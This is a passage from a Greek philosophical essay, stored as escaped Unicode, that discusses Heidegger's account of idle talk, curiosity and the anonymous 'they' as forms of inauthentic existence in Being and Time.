\u03c0\u03c1\u03c9\u03c4\u03cc\u03b3\u03bd\u03c9\u03c1\u03c9\u03bd \u03bc\u03bf\u03c1\u03c6\u03ce\u03bd \u03b5\u03bc\u03c0\u03b5\u03b9\u03c1\u03af\u03b1\u03c2. \u0393\u03b9\u03b1 \u03c4\u03bf\n\u03bc\u03b5\u03c4\u03b1\u03c3\u03c7\u03b7\u03bc\u03b1\u03c4\u03b9\u03c3\u03bc\u03cc \u03b1\u03bd\u03ac\u03c1\u03bc\u03bf\u03c3\u03c4\u03c9\u03bd \u03b7\u03b8\u03b9\u03ba\u03ce\u03bd \u03c4\u03ac\u03c3\u03b5\u03c9\u03bd \u03c3\u03b5 \u03b5\u03c0\u03b9\u03c3\u03c4\u03b7\u03bc\u03bf\u03bb\u03bf\u03b3\u03b9\u03ba\u03ad\u03c2 \u03b1\u03c1\u03b5\u03c4\u03ad\u03c2 (\u03ae, \u03b5\u03ac\u03bd\n\u03c0\u03c1\u03bf\u03c4\u03b9\u03bc\u03ac\u03c4\u03b5, \u03c3\u03b5 \u03c4\u03b5\u03c7\u03bd\u03b9\u03ba\u03ad\u03c2 \u03b9\u03ba\u03b1\u03bd\u03cc\u03c4\u03b7\u03c4\u03b5\u03c2) \u03bc\u03c0\u03bf\u03c1\u03bf\u03cd\u03bc\u03b5 \u03bd\u03b1 \u03b4\u03ce\u03c3\u03bf\u03c5\u03bc\u03b5 \u03ad\u03bd\u03b1 \u03c0\u03b1\u03c1\u03ac\u03b4\u03b5\u03b9\u03b3\u03bc\u03b1\n\u03b5\u03be\u03b5\u03c4\u03ac\u03b6\u03bf\u03bd\u03c4\u03b1\u03c2 \u03b4\u03cd\u03bf \u03b3\u03bd\u03c9\u03c3\u03c4\u03cc\u03c4\u03b1\u03c4\u03b1, \u03cc\u03c3\u03bf \u03ba\u03b1\u03b9 \u03ba\u03b1\u03ba\u03cc\u03c6\u03b7\u03bc\u03b1, \u03c6\u03b1\u03b9\u03bd\u03cc\u03bc\u03b5\u03bd\u03b1 \u03c4\u03b7\u03c2 \u03ba\u03b1\u03b8\u03b7\u03bc\u03b5\u03c1\u03b9\u03bd\u03ae\u03c2\n\u03b6\u03c9\u03ae\u03c2: \u03c4\u03b7 \u03c6\u03bb\u03c5\u03b1\u03c1\u03af\u03b1, \u03bc\u03b5 \u03ac\u03bb\u03bb\u03b1 \u03bb\u03cc\u03b3\u03b9\u03b1 \u03bc\u03b9\u03b1 \u03bf\u03bc\u03b9\u03bb\u03af\u03b1 \u03c7\u03c9\u03c1\u03af\u03c2 \u03c3\u03c0\u03bf\u03bd\u03b4\u03c5\u03bb\u03b9\u03ba\u03ae \u03c3\u03c4\u03ae\u03bb\u03b7,\n\u03b1\u03b4\u03b9\u03ac\u03c6\u03bf\u03c1\u03b7 \u03c0\u03c1\u03bf\u03c2 \u03c4\u03b1 \u03c0\u03b5\u03c1\u03b9\u03b5\u03c7\u03cc\u03bc\u03b5\u03bd\u03b1, \u03b7 \u03bf\u03c0\u03bf\u03af\u03b1 \u03c0\u03b5\u03c1\u03bd\u03ac\u03b5\u03b9 \u03c0\u03ac\u03bd\u03c9 \u03b1\u03c0\u03cc \u03c4\u03b1 \u03c0\u03c1\u03ac\u03b3\u03bc\u03b1\u03c4\u03b1 \u03c7\u03c9\u03c1\u03af\u03c2\n\u03bd\u03b1 \u03c4\u03b1 \u03b1\u03b3\u03b3\u03af\u03b6\u03b5\u03b9, \u03bc\u03b5\u03c4\u03b1\u03b4\u03bf\u03c4\u03b9\u03ba\u03ae \u03ba\u03b1\u03b9 \u03b1\u03c3\u03c5\u03b3\u03ba\u03c1\u03ac\u03c4\u03b7\u03c4\u03b7\u00b7 \u03ba\u03b1\u03b9 \u03c4\u03b7\u03bd \u03c0\u03b5\u03c1\u03b9\u03ad\u03c1\u03b3\u03b5\u03b9\u03b1, \u03b4\u03b7\u03bb\u03b1\u03b4\u03ae \u03c4\u03b7\u03bd\n\u03b1\u03ba\u03cc\u03c1\u03b5\u03c3\u03c4\u03b7 \u03c0\u03b5\u03af\u03bd\u03b1 \u03b3\u03b9\u03b1 \u03c4\u03bf \u03bd\u03ad\u03bf \u03c9\u03c2 \u03bd\u03ad\u03bf.\n\n2. \u0388\u03bd\u03b1 \u03c5\u03c0\u03bf\u03ba\u03b5\u03af\u03bc\u03b5\u03bd\u03bf \u03c6\u03bb\u03cd\u03b1\u03c1\u03bf \u03ba\u03b1\u03b9 \u03b1\u03b4\u03b9\u03ac\u03ba\u03c1\u03b9\u03c4\u03bf\n\n\u03a0\u03ac\u03b8\u03b7 \u03ba\u03b1\u03c4\u03b5\u03be\u03bf\u03c7\u03ae\u03bd \u03c4\u03b7\u03bb\u03b5\u03bf\u03c0\u03c4\u03b9\u03ba\u03ac, \u03b7 \u03c6\u03bb\u03c5\u03b1\u03c1\u03af\u03b1 \u03ba\u03b1\u03b9 \u03b7 \u03c0\u03b5\u03c1\u03b9\u03ad\u03c1\u03b3\u03b5\u03b9\u03b1 \u03b1\u03bd\u03b1\u03bb\u03cd\u03b8\u03b7\u03ba\u03b1\u03bd \u03c3\u03b5 \u03b2\u03ac\u03b8\u03bf\u03c2\n\u03b1\u03c0\u03cc \u03c4\u03bf\u03bd M\u03ac\u03c1\u03c4\u03b9\u03bd \u03a7\u03ac\u03b9\u03bd\u03c4\u03b5\u03b3\u03ba\u03b5\u03c1 \u03c3\u03c4\u03bf \u0395\u03af\u03bd\u03b1\u03b9 \u03ba\u03b1\u03b9 \u03c7\u03c1\u03cc\u03bd\u03bf\u03c2 (\u03c0\u03b1\u03c1\u03ac\u03b3\u03c1\u03b1\u03c6\u03bf\u03b9 35 \u03ba\u03b1\u03b9 36). \u0394\u03b5\u03bd\n\u03b5\u03af\u03bd\u03b1\u03b9 \u03b4\u03c5\u03bd\u03b1\u03c4\u03cc \u03bd\u03b1 \u03ba\u03ac\u03bd\u03bf\u03c5\u03bc\u03b5 \u03b5\u03b4\u03ce \u03b5\u03ba\u03c4\u03b5\u03bd\u03ae \u03b1\u03bd\u03b1\u03c6\u03bf\u03c1\u03ac \u03c3\u03b5 \u03b1\u03c5\u03c4\u03ae \u03c4\u03b7\u03bd \u03b4\u03b9\u03ac\u03c3\u03b7\u03bc\u03b7 \u03b1\u03bd\u03ac\u03bb\u03c5\u03c3\u03b7. \u0391\u03c2\n\u03b1\u03c1\u03ba\u03b5\u03c3\u03c4\u03bf\u03cd\u03bc\u03b5 \u03bd\u03b1 \u03b5\u03c0\u03b9\u03c3\u03b7\u03bc\u03ac\u03bd\u03bf\u03c5\u03bc\u03b5 \u03cc\u03c4\u03b9 \u03b8\u03b1 \u03ba\u03ac\u03bd\u03bf\u03c5\u03bc\u03b5 \u03bc\u03b9\u03b1 \u03b5\u03c1\u03b3\u03b1\u03bb\u03b5\u03b9\u03b1\u03ba\u03ae \u03ba\u03b1\u03b9 \u03c7\u03b1\u03bb\u03b1\u03c1\u03ae \u03c7\u03c1\u03ae\u03c3\u03b7\n\u03c4\u03b7\u03c2. \u03a4\u03cc\u03c3\u03bf \u03c7\u03b1\u03bb\u03b1\u03c1\u03ae, \u03c0\u03bf\u03c5 \u03c4\u03b1 \u03bb\u03cc\u03b3\u03b9\u03b1 \u03c4\u03bf\u03c5 \u03a7\u03ac\u03b9\u03bd\u03c4\u03b5\u03b3\u03ba\u03b5\u03c1 \u03b8\u03b1 \u03c7\u03c1\u03b7\u03c3\u03b9\u03bc\u03bf\u03c0\u03bf\u03b9\u03b7\u03b8\u03bf\u03cd\u03bd \u03bc\u03b5\u03c1\u03b9\u03ba\u03ad\u03c2\n\u03c6\u03bf\u03c1\u03ad\u03c2 \u03b5\u03bd\u03ac\u03bd\u03c4\u03b9\u03b1 \u03c3\u03c4\u03bf\u03bd \u03af\u03b4\u03b9\u03bf \u03c4\u03bf \u03a7\u03ac\u03b9\u03bd\u03c4\u03b5\u03b3\u03ba\u03b5\u03c1. \u0393\u03b9\u03b1 \u03bd\u03b1 \u03b1\u03c1\u03c7\u03af\u03c3\u03bf\u03c5\u03bc\u03b5, \u03b4\u03cd\u03bf \u03c3\u03cd\u03bd\u03c4\u03bf\u03bc\u03b5\u03c2\n\u03bd\u03cd\u03be\u03b5\u03b9\u03c2 \u03b3\u03b9\u03b1 \u03c4\u03bf \u03b8\u03b5\u03bc\u03b1\u03c4\u03b9\u03ba\u03cc \u03c0\u03bb\u03b1\u03af\u03c3\u03b9\u03bf \u03c3\u03c4\u03bf \u03bf\u03c0\u03bf\u03af\u03bf \u03c4\u03bf\u03c0\u03bf\u03b8\u03b5\u03c4\u03b5\u03af\u03c4\u03b1\u03b9 \u03b7 \u03b5\u03be\u03ad\u03c4\u03b1\u03c3\u03b7 \u03c4\u03c9\u03bd\n\u03c4\u03b7\u03bb\u03b5\u03bf\u03c0\u03c4\u03b9\u03ba\u03ce\u03bd \u03c0\u03b1\u03b8\u03ce\u03bd. \u03a3\u03c4\u03bf \u0395\u03af\u03bd\u03b1\u03b9 \u03ba\u03b1\u03b9 \u03c7\u03c1\u03cc\u03bd\u03bf\u03c2, \u03b7 \u03c6\u03bb\u03c5\u03b1\u03c1\u03af\u03b1 \u03ba\u03b1\u03b9 \u03b7 \u03c0\u03b5\u03c1\u03b9\u03ad\u03c1\u03b3\u03b5\u03b9\u03b1\n\u03b5\u03c0\u03b9\u03c3\u03c4\u03c1\u03b1\u03c4\u03b5\u03cd\u03bf\u03bd\u03c4\u03b1\u03b9 \u03c9\u03c2 \u03c4\u03c5\u03c0\u03b9\u03ba\u03ad\u03c2 \u03b5\u03ba\u03b4\u03b7\u03bb\u03ce\u03c3\u03b5\u03b9\u03c2 \u03c4\u03b7\u03c2 \u00ab\u03bc\u03b7 \u03b1\u03c5\u03b8\u03b5\u03bd\u03c4\u03b9\u03ba\u03ae\u03c2 \u03b6\u03c9\u03ae\u03c2\u00bb. \u0391\u03c5\u03c4\u03ae \u03b7\n\u03c4\u03b5\u03bb\u03b5\u03c5\u03c4\u03b1\u03af\u03b1 \u03c7\u03b1\u03c1\u03b1\u03ba\u03c4\u03b7\u03c1\u03af\u03b6\u03b5\u03c4\u03b1\u03b9 \u03b1\u03c0\u03cc \u03c4\u03b7\u03bd \u03ba\u03bf\u03bc\u03c6\u03bf\u03c1\u03bc\u03b9\u03c3\u03c4\u03b9\u03ba\u03ae \u03b9\u03c3\u03bf\u03c0\u03ad\u03b4\u03c9\u03c3\u03b7 \u03ba\u03ac\u03b8\u03b5 \u03b1\u03af\u03c3\u03b8\u03b7\u03c3\u03b7\u03c2 \u03ba\u03b1\u03b9\n\u03ba\u03ac\u03b8\u03b5 \u03ba\u03b1\u03c4\u03b1\u03bd\u03cc\u03b7\u03c3\u03b7\u03c2. \u03a3\u03b5 \u03b1\u03c5\u03c4\u03ae\u03bd, \u03ba\u03c5\u03c1\u03b9\u03b1\u03c1\u03c7\u03b5\u03af \u03b1\u03b4\u03b9\u03b1\u03c6\u03b9\u03bb\u03bf\u03bd\u03af\u03ba\u03b7\u03c4\u03b1 \u03b7 \u03b1\u03c0\u03c1\u03cc\u03c3\u03c9\u03c0\u03b7 \u03b1\u03bd\u03c4\u03c9\u03bd\u03c5\u03bc\u03af\u03b1\n\u00ab\u03c4\u03b9\u03c2\u00bb: \u03bb\u03ad\u03b3\u03b5\u03c4\u03b1\u03b9, \u03b3\u03af\u03bd\u03b5\u03c4\u03b1\u03b9, \u03c0\u03b9\u03c3\u03c4\u03b5\u03cd\u03b5\u03c4\u03b1\u03b9 \u03b1\u03c5\u03c4\u03cc \u03ae \u03c4\u03bf \u03ac\u03bb\u03bb\u03bf \u03c0\u03c1\u03ac\u03b3\u03bc\u03b1. \u03a4\u03bf \u00ab\u03c4\u03b9\u03c2\u00bb \u03b5\u03af\u03bd\u03b1\u03b9\n\u03b1\u03bd\u03ce\u03bd\u03c5\u03bc\u03bf \u03ba\u03b1\u03b9 \u03b4\u03b9\u03b5\u03b9\u03c3\u03b4\u03cd\u03b5\u03b9 \u03c0\u03b1\u03bd\u03c4\u03bf\u03cd. \u03a4\u03c1\u03ad\u03c6\u03b5\u03b9 \u03ba\u03b1\u03b8\u03b7\u03c3\u03c5\u03c7\u03b1\u03c3\u03c4\u03b9\u03ba\u03ad\u03c2 \u03b2\u03b5\u03b2\u03b1\u03b9\u03cc\u03c4\u03b7\u03c4\u03b5\u03c2, \u03b4\u03b9\u03b1\u03b4\u03af\u03b4\u03b5\u03b9\n\u03b1\u03c0\u03cc\u03c8\u03b5\u03b9\u03c2 \u03c0\u03bf\u03c5 \u03ae\u03b4\u03b7 \u03c0\u03ac\u03bd\u03c4\u03b1 \u03cc\u03bb\u03bf\u03b9 \u03c3\u03c5\u03bc\u03bc\u03b5\u03c1\u03af\u03b6\u03bf\u03bd\u03c4\u03b1\u03b9. \u0395\u03af\u03bd\u03b1\u03b9 \u03c4\u03bf \u03c5\u03c0\u03bf\u03ba\u03b5\u03af\u03bc\u03b5\u03bd\u03bf \u03c7\u03c9\u03c1\u03af\u03c2\n\u03c0\u03c1\u03cc\u03c3\u03c9\u03c0\u03bf \u03c4\u03b7\u03c2 \u03c4\u03b7\u03bb\u03b5\u03bf\u03c0\u03c4\u03b9\u03ba\u03ae\u03c2 \u03b5\u03c0\u03b9\u03ba\u03bf\u03b9\u03bd\u03c9\u03bd\u03af\u03b1\u03c2. \u0395\u03b3\u03ba\u03b1\u03b8\u03b9\u03b4\u03c1\u03cd\u03b5\u03b9 \u03b1\u03c5\u03c4\u03cc \u03c4\u03bf \u00ab\u03b4\u03b7\u03bc\u03cc\u03c3\u03b9\u03bf\n\u03b5\u03c1\u03bc\u03b7\u03bd\u03b5\u03c5\u03c4\u03b9\u03ba\u03cc \u03ba\u03b1\u03b8\u03b5\u03c3\u03c4\u03ce\u03c2\u00bb, \u03c3\u03c4\u03bf \u03b5\u03c3\u03c9\u03c4\u03b5\u03c1\u03b9\u03ba\u03cc \u03c4\u03bf\u03c5 \u03bf\u03c0\u03bf\u03af\u03bf\u03c5 \u03b1\u03bd\u03b1\u03c0\u03c4\u03cd\u03c3\u03c3\u03b5\u03c4\u03b1\u03b9 \u03b7\n\u03ba\u03b1\u03b8\u03b7\u03bc\u03b5\u03c1\u03b9\u03bd\u03cc\u03c4\u03b7\u03c4\u03b1 \u03c4\u03b7\u03c2 \u03bc\u03b1\u03b6\u03b9\u03ba\u03ae\u03c2 \u03ba\u03bf\u03b9\u03bd\u03c9\u03bd\u03af\u03b1\u03c2. \u03a0\u03b5\u03c1\u03b9\u03c4\u03c4\u03cc \u03bd\u03b1 \u03c0\u03c1\u03bf\u03c3\u03b8\u03ad\u03c3\u03bf\u03c5\u03bc\u03b5 \u03cc\u03c4\u03b9 \u03b5\u03af\u03bd\u03b1\u03b9\n\u03b1\u03ba\u03c1\u03b9\u03b2\u03ce\u03c2 \u03c4\u03bf \u00ab\u03c4\u03b9\u03c2\u00bb \u03ba\u03b1\u03b9 \u03bc\u03cc\u03bd\u03bf \u03b1\u03c5\u03c4\u03cc \u03c0\u03bf\u03c5 \u03c4\u03c1\u03ad\u03c6\u03b5\u03b9 \u03c4\u03b7 \u03c6\u03bb\u03c5\u03b1\u03c1\u03af\u03b1 \u03ba\u03b1\u03b9 \u03b1\u03c0\u03bf\u03c7\u03b1\u03bb\u03b9\u03bd\u03ce\u03bd\u03b5\u03b9 \u03bc\u03b9\u03b1\n\u03c0\u03b5\u03c1\u03b9\u03ad\u03c1\u03b3\u03b5\u03b9\u03b1 \u03b1\u03ba\u03cc\u03c1\u03b5\u03c3\u03c4\u03b7 \u03ba\u03b1\u03b9 \u03b1\u03c3\u03c5\u03b3\u03ba\u03c1\u03ac\u03c4\u03b7\u03c4\u03b7. \u0394\u03b5\u03cd\u03c4\u03b5\u03c1\u03b7 \u03c3\u03c5\u03bd\u03bf\u03c0\u03c4\u03b9\u03ba\u03ae \u03c0\u03b1\u03c1\u03b1\u03c4\u03ae\u03c1\u03b7\u03c3\u03b7. \u03a4\u03bf\n\u03c6\u03bb\u03cd\u03b1\u03c1\u03bf \u03ba\u03b1\u03b9 \u03b1\u03b4\u03b9\u03ac\u03ba\u03c1\u03b9\u03c4\u03bf \u00ab\u03c4\u03b9\u03c2\u00bb \u03b1\u03c0\u03bf\u03ba\u03c1\u03cd\u03c0\u03c4\u03b5\u03b9, \u03ae \u03c0\u03b1\u03c1\u03b1\u03bc\u03bf\u03c1\u03c6\u03ce\u03bd\u03b5\u03b9, \u03c4\u03bf \u03ba\u03b1\u03b8\u03bf\u03c1\u03b9\u03c3\u03c4\u03b9\u03ba\u03cc\n(\u03b1\u03c5\u03b8\u03b5\u03bd\u03c4\u03b9\u03ba\u03cc, \u03b1\u03ba\u03c1\u03b9\u03b2\u03ce\u03c2) \u03b3\u03bd\u03ce\u03c1\u03b9\u03c3\u03bc\u03b1 \u03c4\u03b7\u03c2 \u03b1\u03bd\u03b8\u03c1\u03ce\u03c0\u03b9\u03bd\u03b7\u03c2 \u03cd\u03c0\u03b1\u03c1\u03be\u03b7\u03c2: \u03c4\u03bf \u00ab\u03b5\u03af\u03bd\u03b1\u03b9 \u03b5\u03bd \u03ba\u03cc\u03c3\u03bc\u03c9\u00bb.\n\u03a0\u03c1\u03ac\u03b3\u03bc\u03b1\u03c4\u03b9, \u03c4\u03bf \u03bd\u03b1 \u03b1\u03bd\u03ae\u03ba\u03b5\u03b9\u03c2 \u03c3\u03c4\u03bf\u03bd \u03ba\u03cc\u03c3\u03bc\u03bf \u03b4\u03b5\u03bd \u03c3\u03b7\u03bc\u03b1\u03af\u03bd\u03b5\u03b9 \u03bd\u03b1 \u03c4\u03bf\u03bd \u03c3\u03c4\u03bf\u03c7\u03ac\u03b6\u03b5\u03c3\u03b1\u03b9 \u03bc\u03b5\n\u03bf\u03c5\u03b4\u03ad\u03c4\u03b5\u03c1\u03bf \u03c4\u03c1\u03cc\u03c0\u03bf. \u0391\u03c5\u03c4\u03cc \u03c4\u03bf \u03b1\u03bd\u03b1\u03c0\u03cc\u03b4\u03c1\u03b1\u03c3\u03c4\u03bf \u03b1\u03bd\u03ae\u03ba\u03b5\u03b9\u03bd \u03c0\u03c1\u03bf\u03cb\u03c0\u03bf\u03b8\u03ad\u03c4\u03b5\u03b9, \u03b1\u03bd\u03c4\u03af\u03b8\u03b5\u03c4\u03b1, \u03bc\u03b9\u03b1\n\u03c0\u03c1\u03b1\u03ba\u03c4\u03b9\u03ba\u03ae \u03b1\u03bd\u03ac\u03bc\u03b9\u03be\u03b7, \u03bc\u03b9\u03b1 \u03b4\u03c1\u03b1\u03c3\u03c4\u03b7\u03c1\u03b9\u03cc\u03c4\u03b7\u03c4\u03b1 \u03c7\u03b5\u03b9\u03c1\u03b9\u03c3\u03bc\u03bf\u03cd, \u03bc\u03af\u03b1 \u03b5\u03c0\u03b9\u03bc\u03b5\u03bb\u03ae \u03bc\u03ad\u03c1\u03b9\u03bc\u03bd\u03b1. \u0398\u03b1\n\u03bc\u03c0\u03bf\u03c1\u03bf\u03cd\u03c3\u03b1\u03bc\u03b5 \u03bd\u03b1 \u03c0\u03bf\u03cd\u03bc\u03b5: \u03b7 \u03b1\u03c5\u03b8\u03b5\u03bd\u03c4\u03b9\u03ba\u03ae \u03b6\u03c9\u03ae, \u03b4\u03b7\u03bb\u03b1\u03b4\u03ae \u03b7 \u03c3\u03cd\u03bc\u03c6\u03c9\u03bd\u03b7 \u03bc\u03b5 \u03c4\u03bf \u03c0\u03c1\u03b1\u03b3\u03bc\u03b1\u03c4\u03b9\u03ba\u03cc\n\u00ab\u03b5\u03af\u03bd\u03b1\u03b9 \u03b5\u03bd \u03ba\u03cc\u03c3\u03bc\u03c9\u00bb, \u03b2\u03c1\u03af\u03c3\u03ba\u03b5\u03b9 \u03c4\u03b7\u03bd \u03c0\u03c1\u03bf\u03c3\u03ae\u03ba\u03bf\u03c5\u03c3\u03b1 \u03ad\u03ba\u03c6\u03c1\u03b1\u03c3\u03ae \u03c4\u03b7\u03c2 \u03c3\u03c4\u03b7\u03bd \u03b5\u03c1\u03b3\u03b1\u03c3\u03af\u03b1. \u039f\n\u03ba\u03cc\u03c3\u03bc\u03bf\u03c2 \u03b5\u03af\u03bd\u03b1\u03b9, \u03c0\u03ac\u03bd\u03c9 \u03b1\u03c0' \u03cc\u03bb\u03b1, \u03ad\u03bd\u03b1\u03c2 \u03ba\u03cc\u03c3\u03bc\u03bf\u03c2-\u03b5\u03c1\u03b3\u03bf\u03c4\u03ac\u03be\u03b9\u03bf, \u03ad\u03bd\u03b1 \u03c3\u03cd\u03bd\u03bf\u03bb\u03bf \u03bc\u03ad\u03c3\u03c9\u03bd \u03ba\u03b1\u03b9\n\u03c0\u03b1\u03c1\u03b1\u03b3\u03c9\u03b3\u03b9\u03ba\u03ce\u03bd \u03c3\u03ba\u03bf\u03c0\u03ce\u03bd, \u03c4\u03bf \u03b8\u03ad\u03b1\u03c4\u03c1\u03bf (\u03ba\u03b1\u03b9 \u03c4\u03bf \u03b1\u03bd\u03c4\u03b9\u03ba\u03b5\u03af\u03bc\u03b5\u03bd\u03bf) \u03bc\u03b9\u03b1\u03c2 \u03b3\u03b5\u03bd\u03b9\u03ba\u03ae\u03c2\n\u03b5\u03c4\u03bf\u03b9\u03bc\u03cc\u03c4\u03b7\u03c4\u03b1\u03c2 \u03c0\u03c1\u03bf\u03c2 \u03b5\u03c1\u03b3\u03b1\u03c3\u03af\u03b1. \u039a\u03b1\u03c4\u03ac \u03c4\u03bf\u03bd \u03a7\u03ac\u03b9\u03bd\u03c4\u03b5\u03b3\u03ba\u03b5\u03c1, \u03cc\u03c0\u03bf\u03b9\u03bf\u03c2 \u03c6\u03bb\u03c5\u03b1\u03c1\u03b5\u03af \u03ba\u03b1\u03b9\n\u03c0\u03b1\u03c1\u03b1\u03b4\u03af\u03b4\u03b5\u03c4\u03b1\u03b9 \u03c3\u03c4\u03b7\u03bd \u03c0\u03b5\u03c1\u03b9\u03ad\u03c1\u03b3\u03b5\u03b9\u03b1, \u03b4\u03b5\u03bd \u03b5\u03c1\u03b3\u03ac\u03b6\u03b5\u03c4\u03b1\u03b9\u00b7 \u03b5\u03ba\u03c4\u03c1\u03ad\u03c0\u03b5\u03c4\u03b1\u03b9 \u03b1\u03c0\u03cc \u03c4\u03b7\u03bd \u03b5\u03ba\u03c4\u03ad\u03bb\u03b5\u03c3\u03b7\n\u03b5\u03bd\u03cc\u03c2 \u03ba\u03b1\u03b8\u03bf\u03c1\u03b9\u03c3\u03bc\u03ad\u03bd\u03bf\u03c5 \u03ba\u03b1\u03b8\u03ae\u03ba\u03bf\u03bd\u03c4\u03bf\u03c2\u00b7 \u03ad\u03c7\u03b5\u03b9 \u03b1\u03bd\u03b1\u03c3\u03c4\u03b5\u03af\u03bb\u03b5\u03b9 \u03ae \u03ba\u03b1\u03c4\u03b1\u03c3\u03b9\u03b3\u03ac\u03c3\u03b5\u03b9 \u03c4\u03b7\u03bd \u00ab\u03b5\u03c0\u03b9\u03bc\u03b5\u03bb\u03ae\n\u03bc\u03ad\u03c1\u03b9\u03bc\u03bd\u03b1\u00bb. \u03a4\u03bf \u00ab\u03c4\u03b9\u03c2\u00bb, \u03b5\u03ba\u03c4\u03cc\u03c2 \u03b1\u03c0\u03cc \u03b1\u03bd\u03ce\u03bd\u03c5\u03bc\u03bf, \u03b5\u03af\u03bd\u03b1\u03b9 \u03ba\u03b1\u03b9 \u03bf\u03ba\u03bd\u03b7\u03c1\u03cc. \u0397 \u03b1\u03bd\u03b5\u03cd\u03b8\u03c5\u03bd\u03b7\n\u03b5\u03c0\u03b9\u03c0\u03bf\u03bb\u03b1\u03b9\u03cc\u03c4\u03b7\u03c4\u03ac \u03c4\u03bf\u03c5 \u03b4\u03b9\u03b1\u03b4\u03af\u03b4\u03b5\u03c4\u03b1\u03b9 \u03b1\u03c0\u03cc \u03c4\u03b7 \u03c3\u03c4\u03b9\u03b3\u03bc\u03ae \u03c0\u03bf\u03c5 \u03c3\u03c5\u03bc\u03c0\u03b5\u03c1\u03b9\u03c6\u03b5\u03c1\u03cc\u03bc\u03b1\u03c3\u03c4\u03b5 \u03c9\u03c2 \u03b8\u03b5\u03b1\u03c4\u03ad\u03c2\n\u03c4\u03bf\u03c5 \u03ba\u03cc\u03c3\u03bc\u03bf\u03c5. \u03a3\u03b5 \u03b1\u03c5\u03c4\u03ae\u03bd \u03c4\u03b7\u03bd \u03c0\u03b5\u03c1\u03af\u03c0\u03c4\u03c9\u03c3\u03b7, \u03bf \u03ba\u03cc\u03c3\u03bc\u03bf\u03c2-\u03b5\u03c1\u03b3\u03bf\u03c4\u03ac\u03be\u03b9\u03bf \u03c0\u03b1\u03c1\u03b1\u03c7\u03c9\u03c1\u03b5\u03af \u03c4\u03b7 \u03b8\u03ad\u03c3\u03b7\n\u03c4\u03bf\u03c5 \u03c3\u03b5 \u03ad\u03bd\u03b1\u03bd \u03c0\u03bb\u03b1\u03c3\u03bc\u03b1\u03c4\u03b9\u03ba\u03cc \u03ba\u03cc\u03c3\u03bc\u03bf-\u03b8\u03ad\u03b1\u03bc\u03b1. \u0397 \u03b1\u03c0\u03cc\u03b4\u03c1\u03b1\u03c3\u03b7 \u03b1\u03c0\u03cc \u03c4\u03b7\u03bd \u03ba\u03b1\u03c4\u03ac\u03c1\u03b1 \u03c4\u03bf\u03cd \u00ab\u03c4\u03b9\u03c2\u00bb\n\u03b4\u03b5\u03bd \u03b5\u03af\u03bd\u03b1\u03b9 \u03c4\u03af\u03c0\u03bf\u03c4\u03b5 \u03ac\u03bb\u03bb\u03bf \u03b1\u03c0\u03cc \u03c4\u03b7\u03bd \u03b5\u03c0\u03b9\u03c3\u03c4\u03c1\u03bf\u03c6\u03ae \u03c3\u03c4\u03b7\u03bd \u03b5\u03c1\u03b3\u03b1\u03c3\u03af\u03b1, \u03bc\u03b5 \u03ac\u03bb\u03bb\u03b1 \u03bb\u03cc\u03b3\u03b9\u03b1 \u03b1\u03c0\u03cc\n\u03bc\u03b9\u03b1 \u03c3\u03c5\u03bd\u03b5\u03b9\u03b4\u03b7\u03c4\u03ae \u03b5\u03c0\u03b1\u03bd\u03b9\u03b4\u03b9\u03bf\u03c0\u03bf\u03af\u03b7\u03c3\u03b7 \u03c4\u03bf\u03c5 \u03c0\u03c1\u03b1\u03b3\u03bc\u03b1\u03c4\u03b9\u03c3\u03c4\u03b9\u03ba\u03bf\u03cd \u03ba\u03b1\u03b9 \u03c0\u03b1\u03c1\u03b1\u03b3\u03c9\u03b3\u03b9\u03ba\u03bf\u03cd \u00ab\u03b5\u03af\u03bd\u03b1\u03b9 \u03b5\u03bd\n\u03ba\u03cc\u03c3\u03bc\u03c9\u00bb. \u03a3\u03c4\u03b9\u03c2 \u03c0\u03b1\u03c1\u03b1\u03c4\u03b7\u03c1\u03ae\u03c3\u03b5\u03b9\u03c2 \u03b1\u03c5\u03c4\u03ad\u03c2, \u03b8\u03b1 \u03ae\u03b8\u03b5\u03bb\u03b1 \u03bd\u03b1 \u03b5\u03c0\u03b9\u03c3\u03b7\u03bc\u03ac\u03bd\u03c9 \u03c4\u03b7 \u03b4\u03cd\u03bd\u03b1\u03bc\u03b7, \u03c4\u03b9\u03c2\nchances, \u03c4\u03bf\u03bd \u03bb\u03b1\u03bd\u03b8\u03ac\u03bd\u03bf\u03bd\u03c4\u03b1 \u03c0\u03bb\u03bf\u03cd\u03c4\u03bf \u03c4\u03b7\u03c2 \u03c5\u03c0\u03bf\u03c4\u03b9\u03b8\u03ad\u03bc\u03b5\u03bd\u03b7\u03c2 \u00ab\u03bc\u03b7 \u03b1\u03c5\u03b8\u03b5\u03bd\u03c4\u03b9\u03ba\u03ae\u03c2 \u03b6\u03c9\u03ae\u03c2\u00bb. \u03a3\u03b5\n\u03c4\u03b9 \u03b1\u03ba\u03c1\u03b9\u03b2\u03ce\u03c2 \u03c3\u03c5\u03bd\u03af\u03c3\u03c4\u03b1\u03c4\u03b1\u03b9, \u03c0\u03c1\u03ac\u03b3\u03bc\u03b1\u03c4\u03b9, \u03b7 \u03b5\u03bc\u03c0\u03b5\u03b9\u03c1\u03af\u03b1 \u03c4\u03bf\u03c5 \u03c6\u03bb\u03cd\u03b1\u03c1\u03bf\u03c5 \u03ba\u03b1\u03b9 \u03c4\u03bf\u03c5 \u03c0\u03b5\u03c1\u03af\u03b5\u03c1\u03b3\u03bf\u03c5;\n\u0395\u03af\u03bd\u03b1\u03b9 \u03bc\u03cc\u03bd\u03bf \u03b1\u03c0\u03ce\u03bb\u03b5\u03b9\u03b1 \u03ba\u03b1\u03b9 \u03c0\u03c4\u03ce\u03c3\u03b7, \u03ae \u03bc\u03ae\u03c0\u03c9\u03c2 \u03c0\u03c1\u03bf\u03bf\u03b9\u03c9\u03bd\u03af\u03b6\u03b5\u03c4\u03b1\u03b9 \u03b5\u03c0\u03af\u03c3\u03b7\u03c2 \u03ad\u03bd\u03b1 \u03b5\u03bd\u03b4\u03b5\u03c7\u03cc\u03bc\u03b5\u03bd\u03bf\n\u03ba\u03ad\u03c1\u03b4\u03bf\u03c2 \u03ba\u03b1\u03b9 \u03bc\u03af\u03b1 \u03c0\u03b1\u03c1\u03ac\u03b4\u03bf\u03be\u03b7 \u03bf\u03b4\u03cc \u03c3\u03c9\u03c4\u03b7\u03c1\u03af\u03b1\u03c2; \u03a3\u03b5 \u03c0\u03bf\u03b9\u03bf \u03b2\u03b1\u03b8\u03bc\u03cc \u03c4\u03bf \u00ab\u03c4\u03b9\u03c2\u00bb \u03bc\u03ac\u03c2 \u03b5\u03c0\u03b9\u03c4\u03c1\u03ad\u03c0\u03b5\u03b9\n\u03bd\u03b1 